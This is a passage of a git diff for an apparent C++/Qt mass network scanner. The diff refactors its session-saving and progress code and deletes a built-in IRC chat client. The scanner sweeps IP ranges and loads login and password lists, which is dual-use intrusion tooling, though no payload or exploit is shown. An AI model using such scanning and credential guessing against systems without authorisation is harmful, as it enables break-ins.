strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); }; @@ -233,84 +219,42 @@ void _SaveBackupToFile() else stt->doEmitionRedFoundData("[_saver] Cannot open file."); }; - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " RESTORE_IMPORT_SESSION"); - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); + sprintf(saveStr, "[SESSION]:%d RESTORE_IMPORT_SESSION %d %s\n", gMode, gThreads, gPorts); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); }; - strcpy(saveStr, "[NDBSERVER]:"); - strcat(saveStr, trcSrv); - strcat(saveStr, "\n"); + sprintf(saveStr, "[NDBSERVER]:%s\n", trcSrv); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[NDBSCRIPT]:"); - strcat(saveStr, trcScr); - strcat(saveStr, "\n"); + sprintf(saveStr, "[NDBSCRIPT]:%s\n", trcScr); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[NDBPORT]:"); - strcat(saveStr, trcSrvPortLine); - strcat(saveStr, "\n"); + sprintf(saveStr, "[NDBPORT]:%s\n", trcSrvPortLine); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[PROXY]:"); - strcat(saveStr, trcProxy); - strcat(saveStr, "\n"); + sprintf(saveStr, "[PROXY]:%s\n", trcProxy); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[PROXYPORT]:"); - strcat(saveStr, trcPort); - strcat(saveStr, "\n"); + sprintf(saveStr, "[PROXYPORT]:%s\n", trcPort); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCSERVER]:"); - strcat(saveStr, ircServer); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); + sprintf(saveStr, "[PING]:%s\n", gPingNScan ? "true" : "false"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCPORT]:"); - strcat(saveStr, ircPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); + sprintf(saveStr, "[SHUFFLE]:%s\n", gShuffle ? "true" : "false"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCPROXY]:"); - strcat(saveStr, ircProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXYPORT]:"); - strcat(saveStr, ircProxyPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCNICK]:"); - strcat(saveStr, ircNick); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING]:"); - strcat(saveStr, gPingNScan ? "true" : "false"); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); + sprintf(saveStr, "[NSTRACK]:%s\n", trackerOK ? "true" : "false"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); strcat(saveBuffer, saveStr); @@ -408,7 +352,7 @@ void _tracker() { while(true) { while(!trackerOK) Sleep(1000); - if(globalScanFlag == false && jsonArr->size() == 0) break; + if(!globalScanFlag && jsonArr->size() == 0) break; char rBuffT[250000] = {0}; char *msg = new char[4096]; ZeroMemory(msg, sizeof(*msg)); @@ -563,7 +507,7 @@ void _tracker() { while(true) { - if(globalScanFlag == false && jsonArr->size() == 0) break; + if(!globalScanFlag && jsonArr->size() == 0) break; if(!trackerOK) { Sleep(1000); continue; @@ -774,6 +718,38 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) { return gTargets; } +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + return (unsigned char)(d + 32); + } + else + { + return tolower(d); + }; +} + +std::string toLowerStr(const char *str) +{ + if(str != NULL) { + int tsz = strlen(str); + char *strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + std::string tstr = std::string(strr); + delete []strr; + return tstr; + } else return ""; +} + void _connect() { string ip = ""; while (globalScanFlag) { @@ -797,7 +773,7 @@ void _connect() { ConInc(); for (int i = 0; i <= overallPorts; ++i) { - if (globalScanFlag == false) break; + if (!globalScanFlag) break; if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; }; ConDec(); @@ -805,49 +781,39 @@ void _connect() { } } -void verboseProgress(long long unsigned int target, const char *ip) { - +inline void progressOutput(long long unsigned int target) { char targetNPers[128] = {0}; float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); - stt->doEmitionIPRANGE(QString(ip)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); + sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); + stt->doEmitionTargetsLeft(QString(targetNPers)); sprintf(metaTargets, "%Lu", target); sprintf(metaPercent, "%.1f", percent); } -void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { +void verboseProgress(long long unsigned int target, const char *ip) { - char targetNPers[128] = { 0 }; - float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); + stt->doEmitionIPRANGE(QString(ip)); + strcpy(currentIP, ip); + progressOutput(target); +} +void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD, const char *mask) { - stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); + stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); + strcpy(currentIP, mask); + progressOutput(target); } void _passLoginLoader() { MaxLogin = 0; MaxPass = 0; - FILE *loginList; - FILE *passList; - char buffFG[32] = {0}; int i = 0; - loginList = fopen("login.txt", "r"); - passList = fopen("pass.txt", "r"); + FILE *loginList = fopen("login.txt", "r"); + FILE *passList = fopen("pass.txt", "r"); if(passList != NULL && loginList != NULL) { @@ -1898,7 +1864,6 @@ int ParseArgs(int argc, char *argv[]) { }; strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); strcpy(finalIP, strstr(gRange, "-") + 1); } else if(gMode == 1) @@ -1906,14 +1871,12 @@ int ParseArgs(int argc, char *argv[]) { if(strstr(argv[2], "/") != NULL) { strcpy(gRange, argv[2]); - strcpy(saveEndIP, argv[2]); - strcpy(endIP2, argv[2]); + strcpy(saveEndIP, argv[2]); } else { strcpy(gRange, argv[2]); - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); + strcpy(saveEndIP, gRange); }; }; @@ -2037,8 +2000,9 @@ int _getChunkCount(char *data) { } int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { + if(strstr(mask, "[") != NULL) - { + { char maskEnd[1024] = {0}; char maskRes[1024] = {0}; char *ptr1 = strstr(mask, "["); @@ -2069,17 +2033,14 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { int szMask = strlen(mask); int szOffset = startPosition + 2; if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); - else - { - ZeroMemory(maskEnd, sizeof(maskEnd)); - }; + else ZeroMemory(maskEnd, sizeof(maskEnd));; char maskSaver[128] = {0}; if(firstPos != -1 && secondPos != -1) { for(int i = firstPos; i <= secondPos; ++i) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; strcpy(maskSaver, saveMask); strcat(maskSaver, maskEntry); @@ -2098,14 +2059,13 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { } else { - strcpy(endIP2, saveMask); + strcpy(currentIP, saveMask); while(cons >= gThreads && globalScanFlag) Sleep(300); - if(globalScanFlag == false) return 0; + if(!globalScanFlag) return 0; - string res = string(mask); - verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); - res += string(top_level_domain); + verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask); + string res = string(mask) + string(top_level_domain); ++indexIP; @@ -2124,9 +2084,6 @@ void runAuxiliaryThreads() { int startScan(char* args) { curl_global_init(CURL_GLOBAL_ALL); - SSL_library_init(); - OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ - SSL_load_error_strings(); /* Bring in and register error messages */ horLineFlag = false; flCounter = 0; @@ -2146,7 +2103,6 @@ int startScan(char* args) { ZeroMemory(ipsend, sizeof(ipsend)); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - //std::string OutputFolder = std::string(RESULT_DIR_NAME); CreateDirectoryA(RESULT_DIR_NAME, NULL); #else struct stat str = {0}; @@ -2183,10 +2139,10 @@ int startScan(char* args) { _passLoginLoader(); _NegativeLoader(); - if (gMode == 0) - { - runAuxiliaryThreads(); + runAuxiliaryThreads(); + if (gMode == 0) + { unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; @@ -2197,7 +2153,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { - if (globalScanFlag == false) break; + if (!globalScanFlag) break; unsigned long offset = ip2 - i; tAddr.s_addr = ntohl(i); @@ -2210,7 +2166,7 @@ int startScan(char* args) { while (ipVec.size() != 0) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IPM; + if (!globalScanFlag) goto haters_gonna_hate_IPM; ++indexIP; std::string res = ipVec[0]; @@ -2231,7 +2187,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; + if (!globalScanFlag) break; std::string res = ""; ++indexIP; @@ -2247,9 +2203,7 @@ int startScan(char* args) { } } else if (gMode == 1) - { - runAuxiliaryThreads(); - + { strcpy(top_level_domain, gFirstDom); char dataEntry[1024] = { 0 }; @@ -2301,6 +2255,7 @@ int startScan(char* args) { memset(dataEntry + innerCounter++, saveEndIP[i], 1); }; }; + memset(dataEntry + innerCounter + 1, '\0', 1); for (int i = 0; i < sz; ++i) @@ -2376,8 +2331,6 @@ int startScan(char* args) { return -1; }; - runAuxiliaryThreads(); - stt->doEmitionChangeStatus("Scanning..."); for (gC = 0; gC < flCounter; ++gC) { @@ -2407,7 +2360,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { - if (globalScanFlag == false) break; + if (!globalScanFlag) break; unsigned long offset = ip2 - i; tAddr.s_addr = ntohl(i); @@ -2420,7 +2373,7 @@ int startScan(char* args) { while (ipVec.size() != 0) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IM; + if (!globalScanFlag) goto haters_gonna_hate_IM; ++indexIP; std::string res = ipVec[0]; @@ -2440,7 +2393,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; + if (!globalScanFlag) break; ++indexIP; @@ -2476,6 +2429,7 @@ int startScan(char* args) { void nCleanup(){ Threader::cleanUp(); + curl_global_cleanup(); if(loginLst != NULL) { @@ -2491,10 +2445,7 @@ void nCleanup(){ }; if(GlobalNegatives != NULL) { - for(int i = 0; i < GlobalNegativeSize; ++i) - { - delete []GlobalNegatives[i]; - }; + for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i]; delete []GlobalNegatives; GlobalNegatives = NULL; }; diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp deleted file mode 100644 index 562a178..0000000 --- a/oIRC_Th.cpp +++ /dev/null @@ -1,830 +0,0 @@ -#include "oIRC_Th.h" -#include -#include "externData.h" -#include "externFunctions.h" - -int iWantToConnect = false; - -#define MAX_IRC_RECV_LEN 2048 -//#define IRC_CHAN "iskopasi_lab01" - -void oIRC_Th::doEmitionPlayDckingSound() -{ - emit ircTh->notifyPlay(); -}; -void oIRC_Th::doEmitUnhidePopup(QString str1, QString str2) -{ - emit ircTh->sUnhidePopup(str1, str2); -}; -void oIRC_Th::doEmitChangeIRCData(bool pm, bool hlflag, int code, QString str, QString s) -{ - emit ircTh->changeIRCData(pm, hlflag, code, str, s); -}; -void oIRC_Th::doEmitChangeRedIRCData(QString str) -{ - emit ircTh->changeRedIRCData(str); -}; -void oIRC_Th::doEmitChangeGreenIRCData(QString str) -{ - emit ircTh->changeGreenIRCData(str); -}; -void oIRC_Th::doEmitChangeYellowIRCData(QString str) -{ - emit ircTh->changeYellowIRCData(str); -}; -void oIRC_Th::doEmitChangeRawIRCDataInc(QString str) -{ - emit ircTh->changeRawIRCDataInc(str); -}; -void oIRC_Th::doEmitChangeRawIRCDataOut(QString str) -{ - emit ircTh->changeRawIRCDataOut(str); -}; -void oIRC_Th::doEmitSetNick(QString str) -{ - emit ircTh->setNick(str); -}; -void oIRC_Th::doEmitAddNick(QString str) -{ - emit ircTh->AddNick(str); -}; -void oIRC_Th::doEmitClearNickList() -{ - emit ircTh->ClearNickList(); -}; -void oIRC_Th::doEmitIRCOfflined() -{ - emit ircTh->IRCOfflined(); -}; -void oIRC_Th::doEmitGetTopic(QString str) -{ - emit ircTh->getTopic(str); -}; - -QString GetNickColor(char *sn) -{ - QString str(sn); - QString hexNick = str.toLocal8Bit().toHex(); - int origLen = str.size(); - int hln = hexNick.length(); - while(hln < 7) - { - hexNick += "0"; - hln = hexNick.length(); - }; - - QString nickColorStr = hexNick.mid(0, 6); - QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size()); - - int nickColor = nickColorStr.toUInt(NULL, 16); - - nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123); - nickColorStr.setNum(nickColor, 16); - nickColorStr = nickColorStr.mid(nickColorStr.size() - 6, nickColorStr.size()); - - int R = nickColorStr.mid(0, 2).toUInt(NULL, 16); - int G = nickColorStr.mid(2, 2).toUInt(NULL, 16); - int B = nickColorStr.mid(4, 2).toUInt(NULL, 16); - - if(R < 100 && G < 100 && B < 100) nickBGColorStr = "#fd7e31"; - else nickBGColorStr = "#000000"; - - return nickColorStr + "; background-color: " + nickBGColorStr + ";"; -} - -bool doHL(char *rawData) -{ - if(strstr(rawData, ircNick) != NULL) return true; - else return false; -} - -void _blinkNLine(QString tempData = "", QString senderNick = "") -{ - if(widgetIsHidden == false && tray->isVisible() == false) - { - disableBlink = false; - if(irc_nmb->isRunning() == false) irc_nmb->start(); - ircTh->doEmitUnhidePopup(tempData, senderNick); - - if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", ""); - printDelimiter = false; - }; -} - -int sendS(int lSock, char *msg, int len, int mode) -{ - if(lSock == WSAENOTSOCK || lSock <= 0 || !connectedToIRC) { - ircTh->doEmitChangeRedIRCData("Not connected."); - return -1; - } - int b = send(lSock, msg, len, mode); - if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); - else - { - Activity += len; - - ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg)); - - }; - return b; -} - -int recvS(int lSock, char *recvBuffT, int len) -{ - int b; - char recvBuff[MAX_IRC_RECV_LEN] = {0}; - - b = recv(lSock, recvBuff, sizeof(recvBuff), 0); - if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); - else - { - Activity += len; - - strcpy(recvBuffT, recvBuff); - - ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff)); - - ZeroMemory(recvBuff, sizeof(recvBuff)); - }; - return b; -} - -void UserNickInit() -{ - strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); - char tempBuffUser[1024] = {0}; - strcpy(tempBuffUser, "USER "); - strcat(tempBuffUser, ircNick); - strcat(tempBuffUser, " \"netstalker01\" * : "); - strcat(tempBuffUser, ircNick); - strcat(tempBuffUser, "\r\n"); - - char tempBuffNick[1024] = {0}; - - strcpy(tempBuffNick, "NICK "); - strcat(tempBuffNick, ircNick); - strcat(tempBuffNick, "\r\n"); - - sendS(lSock, tempBuffUser, strlen(tempBuffUser), 0); - sendS(lSock, tempBuffNick, strlen(tempBuffNick), 0); - - memset(tempBuffUser, '0', sizeof(tempBuffUser)); - memset(tempBuffNick, '0', sizeof(tempBuffNick)); -} - -void GetNicks() -{ - char chanTemp[64] = {0}; - strcpy(chanTemp, "NAMES #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); -} - -char *GetServerName(char *buff) -{ - char *temp1 = NULL; - int sz = 0; - char name[128] = {0}; - - if(strstr(buff, " ") != NULL) - { - temp1 = strstr(buff, " "); - sz = temp1 - buff - 1; - strncpy(name, buff + 1, (sz < 128 ? sz : 128)); - }; - - return name; -} - -int jFlag1 = 0; -void __pinger(char *recvBuff) -{ - if(strstr(recvBuff, "PING") != NULL) - { - char tmpa[128] = {0}; - - if(strstr(recvBuff, "PING :") != NULL) - { - if(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n") != NULL) - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, "PING :") + strlen("PING "), strlen(strstr(recvBuff, "PING :") + strlen("PING ")) - strlen(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n"))); - strcat(tmpa, "\r\n"); - - sendS(lSock, tmpa, strlen(tmpa), 0); - } - else - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, ":"), 16); - strcat(tmpa, "\r\n"); - - sendS(lSock, tmpa, strlen(tmpa), 0); - }; - - - if(ircPTh->isRunning() == false) ircPTh->start(); - }; - - if(!jFlag1) //Channel-entering sequence - { - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - - jFlag1 = 1; - }; - - globalPinger = 0; - memset(tmpa, '\0', sizeof(tmpa)); - } - if(strstr(recvBuff, "PONG") != NULL) - { - char tmpa[128] = {0}; - - if(!jFlag1) //Channel-entering sequence - { - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - - jFlag1 = 1; - }; - - globalPinger = 0; - memset(tmpa, '\0', sizeof(tmpa)); - } - else if(strstr(recvBuff, "G :") != NULL) - { - char tmpa[128] = {0}; - if(strstr(recvBuff, "G :") != NULL) - { - if(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n") != NULL) - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, "G :") + strlen("G :"), strlen(strstr(recvBuff, "G :") + strlen("G :")) - strlen(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n"))); - strcat(tmpa, "\r\n"); - sendS(lSock, tmpa, strlen(tmpa), 0); - } - else - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, ":"), 16); - strcat(tmpa, "\r\n"); - sendS(lSock, tmpa, strlen(tmpa), 0); - }; - }; - - if(!jFlag1) //Channel-entering sequence - { - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - - jFlag1 = 1; - }; - - globalPinger = 0; - if(ircPTh->isRunning() == false) ircPTh->start(); - memset(tmpa, '\0', sizeof(tmpa)); - }; -} - -void IRCLoop() -{ - nickFlag = 0; - offlineFlag = 0; - - - ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); - - - jFlag1 = 0; - sockaddr_in addr; - addr.sin_family = AF_INET; - - HOSTENT *host; - - if(proxyEnabledFlag) - { - addr.sin_port = htons(atoi(ircProxyPort)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); - else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); - else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - } - else - { - addr.sin_port = htons(atoi(ircPort)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircServer); - else if(host = gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircServer); - else if(host=gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - }; - - for(int conCounter = 1; conCounter <= 100; ++conCounter) - { - char topicData[256] = {0}; - if(iWantToConnect == false) break; - OnlineMsgSentFlag = false; - - lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - - if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "..."); - if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) - { - if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connection to proxy " + QString(ircProxy) + " established."); - globalPinger = 0; - - char temprecvBuff[512] = {0}; - char tempSendMsg[512] = {0}; - - if(proxyEnabledFlag) - { - strcpy(tempSendMsg, "CONNECT "); - strcat(tempSendMsg, ircServer); - strcat(tempSendMsg, ":"); - strcat(tempSendMsg, ircPort); - strcat(tempSendMsg, " HTTP/1.1\r\n\r\n"); - - sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0); - - recvS(lSock, temprecvBuff, sizeof(temprecvBuff)); - - if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK") - || strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") ) - { - ircTh->doEmitChangeYellowIRCData("Proxy accepted connection. Waiting for IRC reply..."); - sendS(lSock, "\r\n", strlen("\r\n"), 0); - } - else - { - ircTh->doEmitChangeRedIRCData("[IRC: Bad proxy reply.]"); - break; - }; - } - else - { - sendS(lSock, "\r\n", strlen("\r\n"), 0); - }; - - UserNickInit(); - - char recvBuffG[MAX_IRC_RECV_LEN] = {0}; - char serverRealName[256] = {0}; - bool nameLocked = false; - - char pTemp[32] = {0}; - strcpy(pTemp, "PRIV"); - strcat(pTemp, "MSG "); - while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN) > 0 && iWantToConnect) - { - if(strlen(recvBuffG) > 0) - { - char *recvBuff = recvBuffG; - - __pinger(recvBuff); - - char comStr[512] = {0}; - char delimBf[512] = {0}; - strcpy(delimBf, ":"); - strcat(delimBf, serverRealName); - - char *Gtemp = recvBuff; - while(strstr(Gtemp + 1, "\n") != NULL) - { - char *temp1 = NULL; - if(strstr(Gtemp + 1, "\n") != NULL) temp1 = strstr(Gtemp + 1, "\n"); - else temp1 = Gtemp + strlen(Gtemp); - int csz = temp1 - Gtemp - 1; - strncpy(comStr, Gtemp, csz); - Gtemp = strstr(Gtemp + 1, "\n"); - - char privTemp[64] = {0}; - - strcpy(privTemp, "PRIV"); - strcat(privTemp, "MSG #"); - strcat(privTemp, IRC_CHAN); - strcat(privTemp, " :"); - - char pTemp[32] = {0}; - strcpy(pTemp, " PRIV"); - strcat(pTemp, "MSG "); - if(strstr(comStr, pTemp) == NULL) - { - char topicTemp[64] = {0}; - strcpy(topicTemp, "TOPIC #"); - strcat(topicTemp, IRC_CHAN); - strcat(topicTemp, " :"); - if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL) - ) - { - - ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + "."); - - if(nameLocked == false) - { - nameLocked = true; - strncpy(serverRealName, GetServerName(recvBuff), 128); - }; - - Sleep(500); - UserNickInit(); - - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "ERROR :Closing Link:") != NULL || strstr(comStr, "ERROR :") != NULL) ) - { - if(strstr(comStr, "Registration timed out") != NULL) - { - - ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)"); - ircTh->terminate(); - - } - else - { - - ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)"); - ircTh->terminate(); - - }; - } - else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL) - { - ircTh->doEmitChangeYellowIRCData("[" + QString::fromLocal8Bit(" ") + "] Flooding detected."); - } - else if((strstr(comStr, serverRealName) != NULL && strstr(comStr, " 332 ") != NULL) - || strstr(comStr, topicTemp) != NULL) - { - char chanTemp[32] = {0}; - strcpy(chanTemp, IRC_CHAN); - strcat(chanTemp, " :"); - char *temp = strstr(comStr, chanTemp); - strncpy(topicData, temp + strlen(chanTemp), 256); - if(utfIRCFlag) - { - QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); - QByteArray wtf_s(QString::fromLocal8Bit(topicData).toStdString().c_str()); - QByteArray wtf = codec->fromUnicode(wtf_s); - ircTh->doEmitGetTopic(wtf); - } - else ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); - } - else if(strstr(comStr, "not channel operator") != NULL) - { - ircTh->doEmitChangeRedIRCData("[Nope] You're not channel operator."); - ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "353") != NULL || strstr(comStr, "End of /NAMES list") != NULL)) - { - char *strMain = NULL; - char *str1 = NULL; - char *str2 = NULL; - - if(strstr(comStr, " 353 ") != NULL) strMain = strstr(comStr, " 353 "); - if(strMain != NULL) - { - char cTemp[64] = {0}; - strcpy(cTemp, IRC_CHAN); - strcat(cTemp, " :"); - - if(strstri(strMain, cTemp) != NULL) str1 = strstri(strMain, cTemp); - else - { - char chanTemp[64] = {0}; - strcpy(chanTemp, IRC_CHAN); - strcat(chanTemp, " : Error in /NAMES"); - - str1 = chanTemp; - }; - if(strstr(str1, ":") != NULL) str2 = strstr(str1 + 1, ":"); - - char temp[MAX_IRC_RECV_LEN] = {0}; - - int dsz = strlen(str2); - if(dsz > 0) - { - ircTh->doEmitClearNickList(); - strncpy(temp, str2, dsz); - - char *lex = strtok(temp + 1, " "); - - while(lex != NULL && lex != "" && lex != "\r" && lex != "\r\n" && *lex != 13) - { - ircTh->doEmitAddNick(QString::fromLocal8Bit(lex)); - lex = strtok(NULL, " "); - }; - }; - }; - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0)) - { - - ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters."); - - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) ) - { - QTime time = QTime::currentTime(); - qsrand((uint)time.msec()); - ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use."); - ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 )); - - UserNickInit(); - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0)) - { - - ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast."); - - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL - || strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL) - && strstr(comStr, "353") == NULL) - { - ircTh->doEmitChangeRedIRCData("[IRC: NAMES! lol]"); - } - else if(strstr(comStr, "QUIT :Ping timeout") != NULL || strstr(comStr, "EOF From") != NULL - || strstr(comStr, "EOF from") != NULL || strstr(comStr, " QUIT :") 